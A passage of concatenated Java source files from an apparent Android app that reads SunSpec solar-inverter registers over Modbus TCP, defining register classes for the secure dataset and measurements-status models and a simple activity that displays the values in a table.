1, "X", "", "Number of values from the request", Rw.R, Mandatory.M); } } public static class Val1 extends RegisterUint16 { public Val1(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 5, 1, "Value1", "", "Copy of value from register Off1.", Rw.R, Mandatory.M); } } public static class Val2 extends RegisterUint16 { public Val2(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 6, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val3 extends RegisterUint16 { public Val3(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 7, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val4 extends RegisterUint16 { public Val4(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 8, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val5 extends RegisterUint16 { public Val5(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 9, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val6 extends RegisterUint16 { public Val6(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 10, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val7 extends RegisterUint16 { public Val7(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 11, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val8 extends RegisterUint16 { public Val8(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 12, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val9 extends RegisterUint16 { public Val9(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 13, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val10 extends RegisterUint16 { public Val10(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 14, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val11 extends RegisterUint16 { public Val11(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 15, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val12 extends RegisterUint16 { public Val12(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 16, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val13 extends RegisterUint16 { public Val13(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 17, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val14 extends RegisterUint16 { public Val14(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 18, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val15 extends RegisterUint16 { public Val15(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 19, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val16 extends RegisterUint16 { public Val16(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 20, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val17 extends RegisterUint16 { public Val17(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 21, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val18 extends RegisterUint16 { public Val18(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 22, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val19 extends RegisterUint16 { public Val19(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 23, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val20 extends RegisterUint16 { public Val20(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 24, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val21 extends RegisterUint16 { public Val21(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 25, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val22 extends RegisterUint16 { public Val22(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 26, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val23 extends RegisterUint16 { public Val23(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 27, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val24 extends RegisterUint16 { public Val24(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 28, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val25 extends RegisterUint16 { public Val25(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 29, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val26 extends RegisterUint16 { public Val26(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 30, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val27 extends RegisterUint16 { public Val27(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 31, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val28 extends RegisterUint16 { public Val28(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 32, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val29 extends RegisterUint16 { public Val29(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 33, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val30 extends RegisterUint16 { public Val30(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 34, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val31 extends RegisterUint16 { public Val31(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 35, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val32 extends RegisterUint16 { public Val32(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 36, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val33 extends RegisterUint16 { public Val33(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 37, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val34 extends RegisterUint16 { public Val34(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 38, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val35 extends RegisterUint16 { public Val35(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 39, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val36 extends RegisterUint16 { public Val36(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 40, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val37 extends RegisterUint16 { public Val37(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 41, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val38 extends RegisterUint16 { public Val38(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 42, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val39 extends RegisterUint16 { public Val39(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 43, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val40 extends RegisterUint16 { public Val40(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 44, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val41 extends RegisterUint16 { public Val41(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 45, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val42 extends RegisterUint16 { public Val42(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 46, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val43 extends RegisterUint16 { public Val43(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 47, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val44 extends RegisterUint16 { public Val44(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 48, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val45 extends RegisterUint16 { public Val45(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 49, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val46 extends RegisterUint16 { public Val46(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 50, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val47 extends RegisterUint16 { public Val47(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 51, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val48 extends RegisterUint16 { public Val48(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 52, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val49 extends RegisterUint16 { public Val49(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 53, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Val50 extends RegisterUint16 { public Val50(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 54, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Ts extends RegisterUint32 { public Ts(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 55, 2, "Timestamp", "", "Timestamp value is the number of seconds since January 1, 2000", Rw.R, Mandatory.M); } } public static class Ms extends RegisterUint16 { public Ms(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 57, 1, "Milliseconds", "", "Millisecond counter 0-999", Rw.R, Mandatory.M); } } public static class Seq extends RegisterUint16 { public Seq(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 58, 1, "Sequence", "", "Sequence number of response", Rw.R, Mandatory.M); } } public static class Alm extends RegisterEnum16 { public Alm(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 59, 1, "Alarm", "", "Bitmask alarm code", Rw.R, Mandatory.M); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "ALM"); } } public static class Alg extends RegisterEnum16 { public Alg(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 60, 1, "Algorithm", "", "Algorithm used to compute the digital signature", Rw.R, Mandatory.M); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "AES-GMAC-64"); hashtable.put((long) 2, "ECC-256"); } } public static class N extends RegisterUint16 { public N(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 61, 1, "N", "", "Number of registers comprising the digital signature.", Rw.R, Mandatory.M); } } public class DS extends RegisterUint16 { private int index; public DS(int aIndex) { index = aIndex; init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 62 + index, 1, "DS " + index, "", "Digital Signature", Rw.R, Mandatory.M); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterAcc64; import ch.retep.relleum.modbus.datatype.RegisterBitfield16; import ch.retep.relleum.modbus.datatype.RegisterBitfield32; import ch.retep.relleum.modbus.datatype.RegisterDouble; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterString; import ch.retep.relleum.modbus.datatype.RegisterSunssf; import ch.retep.relleum.modbus.datatype.RegisterUDouble; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.RegisterUint32; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepBitMask; import ch.retep.relleum.sunspec.datatype.RetepDouble; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; import ch.retep.relleum.sunspec.datatype.RetepString; /** * @author Peter */ public class Table0122MeasurementsStatus extends Table { private ID measurementsStatus00ID; private L measurementsStatus01L; private PVConn measurementsStatus02PVConn; private StorConn measurementsStatus03StorConn; private ECPConn measurementsStatus04ECPConn; private ActWh measurementsStatus05ActWh; private ActVAh measurementsStatus09ActVAh; private ActVArhQ1 measurementsStatus13ActVArhQ1; private ActVArhQ2 measurementsStatus17ActVArhQ2; private ActVArhQ3 measurementsStatus21ActVArhQ3; private ActVArhQ4 measurementsStatus25ActVArhQ4; private VArAval_SF measurementsStatus30VArAval_SF; private VArAval measurementsStatus29VArAval; private WAval_SF measurementsStatus32WAval_SF; private WAval measurementsStatus31WAval; private StSetLimMsk measurementsStatus33StSetLimMsk; private StActCtl measurementsStatus35StActCtl; private TmSrc measurementsStatus37TmSrc; private Tms measurementsStatus41Tms; private RtSt measurementsStatus43RtSt; private Ris_SF measurementsStatus45Ris_SF; private Ris measurementsStatus44Ris; public Table0122MeasurementsStatus(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 0, 46, "MeasurementsStatus", "", "MeasurementsStatus", Rw.nan, Mandatory.nan); measurementsStatus00ID = new ID(tcpModbusHandler); measurementsStatus01L = new L(tcpModbusHandler); measurementsStatus02PVConn = new PVConn(tcpModbusHandler); measurementsStatus03StorConn = new StorConn(tcpModbusHandler); measurementsStatus04ECPConn = new ECPConn(tcpModbusHandler); measurementsStatus05ActWh = new ActWh(tcpModbusHandler); measurementsStatus09ActVAh = new ActVAh(tcpModbusHandler); measurementsStatus13ActVArhQ1 = new ActVArhQ1(tcpModbusHandler); measurementsStatus17ActVArhQ2 = new ActVArhQ2(tcpModbusHandler); measurementsStatus21ActVArhQ3 = new ActVArhQ3(tcpModbusHandler); measurementsStatus25ActVArhQ4 = new ActVArhQ4(tcpModbusHandler); measurementsStatus30VArAval_SF = new VArAval_SF(tcpModbusHandler); measurementsStatus29VArAval = new VArAval(measurementsStatus30VArAval_SF, tcpModbusHandler); measurementsStatus32WAval_SF = new WAval_SF(tcpModbusHandler); measurementsStatus31WAval = new WAval(measurementsStatus32WAval_SF, tcpModbusHandler); measurementsStatus33StSetLimMsk = new StSetLimMsk(tcpModbusHandler); measurementsStatus35StActCtl = new StActCtl(tcpModbusHandler); measurementsStatus37TmSrc = new TmSrc(tcpModbusHandler); measurementsStatus41Tms = new Tms(tcpModbusHandler); measurementsStatus43RtSt = new RtSt(tcpModbusHandler); measurementsStatus45Ris_SF = new Ris_SF(tcpModbusHandler); measurementsStatus44Ris = new Ris(measurementsStatus45Ris_SF, tcpModbusHandler); vector.add(measurementsStatus00ID); vector.add(measurementsStatus01L); vector.add(measurementsStatus30VArAval_SF); vector.add(measurementsStatus32WAval_SF); vector.add(measurementsStatus45Ris_SF); vector.add(measurementsStatus02PVConn); vector.add(measurementsStatus03StorConn); vector.add(measurementsStatus04ECPConn); vector.add(measurementsStatus05ActWh); vector.add(measurementsStatus09ActVAh); vector.add(measurementsStatus13ActVArhQ1); vector.add(measurementsStatus17ActVArhQ2); vector.add(measurementsStatus21ActVArhQ3); vector.add(measurementsStatus25ActVArhQ4); vector.add(measurementsStatus29VArAval); vector.add(measurementsStatus31WAval); vector.add(measurementsStatus33StSetLimMsk); vector.add(measurementsStatus35StActCtl); vector.add(measurementsStatus37TmSrc); vector.add(measurementsStatus41Tms); vector.add(measurementsStatus43RtSt); vector.add(measurementsStatus44Ris); } /** * @return */ public RetepEnum getID() { return measurementsStatus00ID; } /** * @return */ public RetepLong getL() { return measurementsStatus01L; } /** * @return */ public RetepBitMask getPVConn() { return measurementsStatus02PVConn; } /** * @return */ public RetepBitMask getStorConn() { return measurementsStatus03StorConn; } /** * @return */ public RetepBitMask getECPConn() { return measurementsStatus04ECPConn; } /** * @return */ public RetepLong getActWh() { return measurementsStatus05ActWh; } /** * @return */ public RetepLong getActVAh() { return measurementsStatus09ActVAh; } /** * @return */ public RetepLong getActVArhQ1() { return measurementsStatus13ActVArhQ1; } /** * @return */ public RetepLong getActVArhQ2() { return measurementsStatus17ActVArhQ2; } /** * @return */ public RetepLong getActVArhQ3() { return measurementsStatus21ActVArhQ3; } /** * @return */ public RetepLong getActVArhQ4() { return measurementsStatus25ActVArhQ4; } /** * @return */ public RetepDouble getVArAval() { return measurementsStatus29VArAval; } /** * @return */ public RetepLong getVArAval_SF() { return measurementsStatus30VArAval_SF; } /** * @return */ public RetepDouble getWAval() { return measurementsStatus31WAval; } /** * @return */ public RetepLong getWAval_SF() { return measurementsStatus32WAval_SF; } /** * @return */ public RetepBitMask getStSetLimMsk() { return measurementsStatus33StSetLimMsk; } /** * @return */ public RetepBitMask getStActCtl() { return measurementsStatus35StActCtl; } /** * @return */ public RetepString getTmSrc() { return measurementsStatus37TmSrc; } /** * @return */ public RetepLong getTms() { return measurementsStatus41Tms; } /** * @return */ public RetepBitMask getRtSt() { return measurementsStatus43RtSt; } /** * @return */ public RetepDouble getRis() { return measurementsStatus44Ris; } /** * @return */ public RetepLong getRis_SF() { return measurementsStatus45Ris_SF; } /** * */ public class ID extends RegisterEnum16 { public ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 0, 1, "Model", "", "Inverter Controls Extended Measurements and Status ", Rw.R, Mandatory.M); hashtable.put((long) 122, "SunSpec Measurements Status"); } } /** * */ public class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } /** * */ public class PVConn extends RegisterBitfield16 { public PVConn(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 2, 1, "PVConn", "", "PV inverter present/available status. Enumerated value.", Rw.R, Mandatory.M); hashtable.put((long) 0, "CONNECTED"); hashtable.put((long) 1, "AVAILABLE"); hashtable.put((long) 2, "OPERATING"); hashtable.put((long) 3, "TEST"); } } /** * */ public class StorConn extends RegisterBitfield16 { public StorConn(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 3, 1, "StorConn", "", "Storage inverter present/available status. Enumerated value.", Rw.R, Mandatory.M); hashtable.put((long) 0, "CONNECTED"); hashtable.put((long) 1, "AVAILABLE"); hashtable.put((long) 2, "OPERATING"); hashtable.put((long) 3, "TEST"); } } /** * */ public class ECPConn extends RegisterBitfield16 { public ECPConn(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 4, 1, "ECPConn", "", "ECP connection status: disconnected=0 connected=1.", Rw.R, Mandatory.M); hashtable.put((long) 0, "CONNECTED"); } } /** * */ public class ActWh extends RegisterAcc64 { public ActWh(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 5, 4, "ActWh", "Wh", "AC lifetime active (real) energy output.", Rw.R, Mandatory.O); } } /** * */ public class ActVAh extends RegisterAcc64 { public ActVAh(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 9, 4, "ActVAh", "VAh", "AC lifetime apparent energy output.", Rw.R, Mandatory.O); } } /** * */ public class ActVArhQ1 extends RegisterAcc64 { public ActVArhQ1(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 13, 4, "ActVArhQ1", "varh", "AC lifetime reactive energy output in quadrant 1.", Rw.R, Mandatory.O); } } /** * */ public class ActVArhQ2 extends RegisterAcc64 { public ActVArhQ2(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 17, 4, "ActVArhQ2", "varh", "AC lifetime reactive energy output in quadrant 2.", Rw.R, Mandatory.O); } } /** * */ public class ActVArhQ3 extends RegisterAcc64 { public ActVArhQ3(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 21, 4, "ActVArhQ3", "varh", "AC lifetime negative energy output in quadrant 3.", Rw.R, Mandatory.O); } } /** * */ public class ActVArhQ4 extends RegisterAcc64 { public ActVArhQ4(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 25, 4, "ActVArhQ4", "varh", "AC lifetime reactive energy output in quadrant 4.", Rw.R, Mandatory.O); } } /** * */ public class VArAval extends RegisterDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public VArAval(VArAval_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 29, 1, "VArAval", "var", "Amount of VARs available without impacting watts output.", Rw.R, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class VArAval_SF extends RegisterSunssf { public VArAval_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 30, 1, "VArAval_SF", "", "Scale factor for available VARs.", Rw.R, Mandatory.O); } } /** * */ public class WAval extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public WAval(WAval_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 31, 1, "WAval", "var", "Amount of Watts available.", Rw.R, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class WAval_SF extends RegisterSunssf { public WAval_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 32, 1, "WAval_SF", "", "Scale factor for available Watts.", Rw.R, Mandatory.O); } } /** * */ public class StSetLimMsk extends RegisterBitfield32 { public StSetLimMsk(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 33, 2, "StSetLimMsk", "", "Bit Mask indicating setpoint limit(s) reached.", Rw.R, Mandatory.O); hashtable.put((long) 0, "WMax"); hashtable.put((long) 1, "VAMax"); hashtable.put((long) 2, "VArAval"); hashtable.put((long) 3, "VArMaxQ1"); hashtable.put((long) 4, "VArMaxQ2"); hashtable.put((long) 5, "VArMaxQ3"); hashtable.put((long) 6, "VArMaxQ4"); hashtable.put((long) 7, "PFMinQ1"); hashtable.put((long) 8, "PFMinQ2"); hashtable.put((long) 9, "PFMinQ3"); hashtable.put((long) 10, "PFMinQ4"); } } /** * */ public class StActCtl extends RegisterBitfield32 { public StActCtl(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 35, 2, "StActCtl", "", "Bit Mask indicating which inverter controls are currently active.", Rw.R, Mandatory.O); hashtable.put((long) 0, "FixedW"); hashtable.put((long) 1, "FixedVAR"); hashtable.put((long) 2, "FixedPF"); hashtable.put((long) 3, "Volt-VAr"); hashtable.put((long) 4, "Freq-Watt-Param"); hashtable.put((long) 5, "Freq-Watt-Curve"); hashtable.put((long) 6, "Dyn-Reactive-Current"); hashtable.put((long) 7, "LVRT"); hashtable.put((long) 8, "HVRT"); hashtable.put((long) 9, "Watt-PF"); hashtable.put((long) 10, "Volt-Watt"); hashtable.put((long) 12, "Scheduled"); hashtable.put((long) 13, "LFRT"); hashtable.put((long) 14, "HFRT"); } } /** * */ public class TmSrc extends RegisterString { public TmSrc(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 37, 4, "TmSrc", "", "Source of time synchronization.", Rw.R, Mandatory.O); } } /** * */ public class Tms extends RegisterUint32 { public Tms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 41, 2, "Tms", "Secs", "Seconds since 01-01-2000 00:00 UTC", Rw.R, Mandatory.O); } } /** * */ public class RtSt extends RegisterBitfield16 { public RtSt(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 43, 1, "RtSt", "", "Bit Mask indicating active ride-through status.", Rw.R, Mandatory.O); hashtable.put((long) 0, "LVRT_ACTIVE"); hashtable.put((long) 1, "HVRT_ACTIVE"); hashtable.put((long) 2, "LFRT_ACTIVE"); hashtable.put((long) 3, "HFRT_ACTIVE"); } } /** * */ public class Ris extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public Ris(Ris_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getMeasurementsStatus_122(), 44, 1, "Ris", "ohms", "Isolation resistance.", Rw.R, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class Ris_SF extends RegisterSunssf { public Ris_SF(TcpModbusHandler tcpModbusHandler) { { init(tcpModbusHandler.getMeasurementsStatus_122(), 45, 1, "Ris_SF", "", "Scale factor for isolation resistance.", Rw.R, Mandatory.O); } } } } <file_sep>package ch.gr.relleum.retep.sunspec; import android.os.Bundle; import android.os.StrictMode; import android.support.v7.app.AppCompatActivity; import android.view.View; import android.widget.ImageButton; import android.widget.ViewFlipper; import ch.retep.relleum.modbus.Read0X03; public class SunSpecActivity extends AppCompatActivity { // test private ViewFlipper mViewFlipper; private SunSpecList sunSpecList; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Read0X03.setNoOutput(false); StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); StrictMode.setThreadPolicy(policy); setContentView(R.layout.activity_main); SunSpecScan sunSpecScan = new SunSpecScan(); sunSpecScan.onCreate(this); sunSpecList = new SunSpecList(); sunSpecList.onCreate(this); mViewFlipper = (ViewFlipper) findViewById(R.id.Id_view_flipper); ImageButton buttonLinks = (ImageButton) findViewById(R.id.Id_buttonLinks); ImageButton buttonRechts = (ImageButton) findViewById(R.id.ID_buttonRechts); buttonLinks.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { mViewFlipper.showPrevious(); } }); buttonRechts.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { mViewFlipper.showNext(); } }); } public void updateList() { sunSpecList.updateList(); mViewFlipper.setDisplayedChild(1); } } <file_sep>package ch.gr.relleum.retep.sunspec; import android.content.Context; import android.graphics.Color; import android.os.AsyncTask; import android.support.annotation.NonNull; import android.view.View; import android.widget.CheckBox; import android.widget.TableLayout; import android.widget.TableRow; import android.widget.TextView; import java.util.Iterator; import java.util.Objects; import ch.gr.relleum.retep.sunspec.util.SunSpecAdress; import ch.gr.relleum.retep.sunspec.util.SunSpecConnectionPool; import ch.retep.relleum.modbus.Read0X03; import ch.retep.relleum.modbus.datatype.RegisterSunssf; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; /** * Created by Peter on 01.04.2017. */ public class SunSpecList { private TableLayout tableLayout; private boolean isNaNprinted = false; private SunSpecAdress sunSpecAdress; private SunSpecActivity sunSpecActivity; public void onCreate(SunSpecActivity aSunSpecActivity) { sunSpecActivity=aSunSpecActivity; tableLayout = (TableLayout) sunSpecActivity.findViewById(R.id.id_TableLayout); CheckBox checkBoxIsNaNPritntd = (CheckBox) sunSpecActivity.findViewById(R.id.ID_checkBox_NaN); checkBoxIsNaNPritntd.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { isNaNprinted = !((CheckBox) view).isChecked(); sunSpecActivity.updateList(); } }); updateList(); } private void getData(TcpModbusHandler sunspecTcpHandler, TableLayout tableLayout, SunSpecActivity sunSpecActivity, boolean isNaNprinted) { if (sunSpecAdress != null) { if (sunspecTcpHandler.getInetAddress() == null) { ConnectHost connectHost = new ConnectHost(); connectHost.init(sunspecTcpHandler, sunSpecAdress, tableLayout, sunSpecActivity, isNaNprinted); connectHost.execute(); } else { GetSunSpecData getSunSpecData = new GetSunSpecData(); getSunSpecData.init(sunspecTcpHandler, tableLayout, sunSpecActivity, isNaNprinted); getSunSpecData.execute(""); } } } public void updateList() { tableLayout.setBackgroundColor(Color.BLUE); sunSpecAdress = SunSpecAdress.getSelected(sunSpecActivity); TextView sunSpecHostName = (TextView) sunSpecActivity.findViewById(R.id.Id_sunspecHost); sunSpecHostName.requestLayout(); if (sunSpecAdress!=null) { sunSpecHostName.setText(sunSpecAdress.getName()); TcpModbusHandler sunspecTcpHandler = SunSpecConnectionPool.getTcpModbusHandler(sunSpecAdress); if (sunspecTcpHandler != null) { getData(sunspecTcpHandler, tableLayout, sunSpecActivity, isNaNprinted); } } } public class 